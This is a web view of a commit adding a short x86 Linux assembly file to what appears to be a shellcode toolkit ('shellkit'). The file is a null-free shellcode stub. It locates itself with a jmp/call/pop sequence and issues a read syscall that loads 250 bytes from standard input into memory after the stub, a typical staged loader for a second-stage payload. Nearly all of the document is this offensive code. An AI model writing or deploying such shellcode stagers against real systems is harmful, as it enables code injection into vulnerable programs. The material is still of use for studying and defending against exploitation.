summaryrefslogtreecommitdiff
path: root/other/shellkit/x86_linux/read.s
diff options
context:
space:
mode:
Diffstat (limited to 'other/shellkit/x86_linux/read.s')
-rw-r--r--other/shellkit/x86_linux/read.s22
1 files changed, 22 insertions, 0 deletions
diff --git a/other/shellkit/x86_linux/read.s b/other/shellkit/x86_linux/read.s
new file mode 100644
index 0000000..870d125
--- /dev/null
+++ b/other/shellkit/x86_linux/read.s
@@ -0,0 +1,22 @@
1 .globl cbegin
2 .globl cend
3
4cbegin:
5 jmp cend
6
7rrr:
8 movb $0xfa, %dl /* length */
9
10 popl %ecx /* position */
11
12 push $0x41
13 pop %ebx
14 xorb $0x41, %bl
15
16 push $0x3
17 pop %eax
18 int $0x80 /* read */
19
20cend:
21 call rrr
22